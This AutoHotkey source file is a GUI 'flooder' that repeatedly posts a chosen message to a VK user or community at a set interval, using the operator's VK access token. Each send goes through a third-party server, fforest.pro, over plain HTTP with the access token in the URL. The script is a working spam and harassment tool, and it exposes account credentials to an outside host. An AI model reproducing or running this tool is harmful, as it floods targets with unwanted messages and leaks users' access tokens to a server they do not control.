global _text := ""
global _time := ""
global _domin := ""
global _token := ""
global timer := ""
RegRead, _text, HKCU, FForest\SendToVk, text
RegRead, _time, HKCU, FForest\SendToVk, time
RegRead, _domin, HKCU, FForest\SendToVk, domin
RegRead, _token, HKCU, FForest\SendToVk, token
Gui, Main:+LastFound -Border -Caption
Gui, Main:Margin, 0, 0
Gui, Main:Font, bold s9 cFFFFFF, Verdana
Gui, Main:Color, 282828, 282828
Gui, Main:Add, Text, x0 y9, % "_______________________________________________________________________"
Gui, Main:Add, text, x550 y3 gMini hwndhwndMini vhwndMini,_
Gui, Main:Add, text, x565 y5 gGuiClose hwndhwndClose vhwndClose,X
Gui, Main:Add, text, x2 y3 w550 h19 +Center gMove vheader CFFD700, % "Флудер for VK by FForest"
Gui, Main:Add, edit, x180 y40 w390 h20 vtext gsaveVar , % _text
Gui, Main:Add, edit, x180 y70 w390 h20 vtoken gsaveVar, % _token
Gui, Main:Add, edit, x180 y100 w390 h20 vdomin gsaveVar, % _domin
Gui, Main:Add, edit, x180 y130 w390 h20 vtime gsaveVar, % _time
Gui, Main:Add, button, x180 y160 w100 vStart gStart, Start
Gui, Main:Add, button, x330 y160 w100 vPause gPause, Pause
Gui, Main:Add, button, x470 y160 w100 vStop gStop, Stop
Gui, Main:Add, text, x5 y43 w165 +Right, % "Message -->"
Gui, Main:Add, text, x5 y73 w165 +Right, % "Access Token -->"
Gui, Main:Add, text, x5 y103 w165 +Right, % "Domin -->"
Gui, Main:Add, text, x5 y133 w165 +Right, % "Time ms -->"
Gui, Main:Add, GroupBox, % "x0 y-7 w580 h" (200 + 7)
Gui, Main:Show, w580 h200, % "Флудер for VK by FForest"
SetTimer, CheckHover, 100
return
CheckHover:
MouseGetPos, , , , OutputVarControl, 2
MouseGetPos, , , gui_id, control
WinGetTitle, title, ahk_id %gui_id%
if (!OutputVarControl)
{
ToolTip
Gui, Main:Font, bold s9 cFFFFFF, Verdana
GuiControl, Main:Font, hwndMini
GuiControl, Main:Font, hwndClose
Return
}
if (OutputVarControl == hwndClose)
{
ToolTip, % "Закрыть"
Gui, Main:Font, bold s9 cFFFFFF, Verdana
GuiControl, Main:Font, hwndMini
Gui, Main:Font, bold s9 cRed, Verdana
GuiControl, Main:Font, hwndClose
}
else if (OutputVarControl == hwndMini)
{
ToolTip, % "Свернуть"
Gui, Main:Font, cFFFFFF
GuiControl, Main:Font, hwndClose
Gui, Main:Font, bold s9 cRed, Verdana
GuiControl, Main:Font, hwndMini
}
else
{
ToolTip
Gui, Main:Font, bold s9 cFFFFFF, Verdana
GuiControl, Main:Font, hwndMini
GuiControl, Main:Font, hwndClose
}
Return
Move:
PostMessage, 0xA1, 2,,, A
return
Mini:
Gui, Main:Minimize
return
GuiClose:
ExitApp
return
Pause:
if (A_IsPaused)
Pause, off
else
Pause, on
return
Start:
if (_time < 1000)
MsgBox, 0x10, Ошибка,% "Интервал отправки сообщенений не должен быть меньше 1000мс`n`nУ Вас: " _time
else
{
GuiControl, +Disabled, text
GuiControl, +Disabled, token,
GuiControl, +Disabled, domin,
GuiControl, +Disabled, time,
Gosub, sendToVk
SetTimer, sendToVk, % _time
SetTimer, timers, 1000
}
return
Stop:
GuiControl, -Disabled, text,
GuiControl, -Disabled, token
GuiControl, -Disabled, domin
GuiControl, -Disabled, time
SetTimer, sendToVk, off
SetTimer, timers, off
GuiControl, Main:, header, % "Флудер for VK by FForest"
return
saveVar:
Gui, Main:submit, nohide
if (A_GuiControl == "text")
{
_text := %A_GuiControl%
RegWrite, REG_SZ, HKCU, FForest\SendToVk, text, % _text
Return
}
else if (A_GuiControl == "time")
{
_time := %A_GuiControl%
RegWrite, REG_SZ, HKCU, FForest\SendToVk, time, % _time
Return
}
else if (A_GuiControl == "domin")
{
_domin := %A_GuiControl%
RegWrite, REG_SZ, HKCU, FForest\SendToVk, domin, % _domin
Return
}
else if (A_GuiControl == "token")
{
_token := %A_GuiControl%
RegWrite, REG_SZ, HKCU, FForest\SendToVk, token, % _token
Return
}
return
timers:
if (timer > 0)
{
timer--
GuiControl, Main:, header, % "Флудер for VK by FForest | " times(timer) " | " ( _status ? "Done" : "Error") " | Sent: " Round
}
return
sendToVk:
if (!_token || !_domin || !_text)
{
MsgBox, 0x10, Ошибка,% "Поле`n" (_token ? "" : "`n*Access Token`n")(_domin ? "" : "`n*Domin`n")(_text ? "" : "`n*Message`n") "`nдолжно быть заполнено!"
SetTimer, sendToVk, off
return
}
GuiControl, Main:, header, % "Флудер for VK by FForest | SENDING ..."
result := curl("GET", "http://fforest.pro/test.php?message=" _text "&access_token=" _token "&domain=" _domin)
timer := _time // 1000
_status := RegExMatch(result, "{""response"":[0-9]+}")
Round++
if (!_status)
{
loop, 5
SoundBeep
MsgBox, 0x10, Ошибка | Сделай скриншот и отправь разработчику,% result
ExitApp
}
return
times(sec)
{
h := sec/3600 ^ 0
m := (sec-h*3600)/60 ^ 0
s := sec-h*3600-m*60
return h ":" m ":" s
}
curl(method, adress, package := "", user_agent := "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36 u01-05", error_log := 0, time_out := 0)
{
if (!RegExMatch(adress, "^http[s]?:\/\/.*\..*$"))
return error_log ? "Invalid URL adress (#1)" : false
else if (!DllCall("Wininet.dll\InternetGetConnectedState", "Str", 0x20, "Int", 0))
return error_log ? "Not internet connection (#2)" : false
try
{
temp_package := ""
for k, v in package
temp_package .= (A_Index > 1 ? "&" : (method == "POST" ? "" : "?")) k "=" v
http := ComObjCreate("WinHttp.WinHttpRequest.5.1")
http.Open(method, adress (method != "POST" ? temp_package : ""), false)
http.SetRequestHeader("Referer", adress)
http.SetRequestHeader("User-Agent", user_agent)
http.SetRequestHeader("Content-Type", "application/x-www-form-urlencoded")
http.SetRequestHeader("Pragma", "no-cache")
http.SetRequestHeader("Cache-Control", "no-cache, no-store")
http.SetRequestHeader("If-Modified-Since", "Sat, 1 Jan 2000 00:00:00 GMT")
http.Send((method == "POST" ? temp_package : ""))
http.WaitForResponse(time_out ? time_out : 0)
if (!StrLen(http.ResponseText))
return error_log ? "Empty response (#3)" : false
else
{
if (http.Status !== 200)
return error_log ? http.Status "(" http.StatusText ") (#4)" : false
else
{
ResponseText := RegExReplace(http.ResponseText, "<br>", "`n")
ResponseText := RegExReplace(ResponseText, "<t>", "`t")
ResponseText := RegExReplace(ResponseText, "<br \/>", "`n")
return ResponseText
}
}
}
catch e
return error_log ? e.message "(#5)" : false
}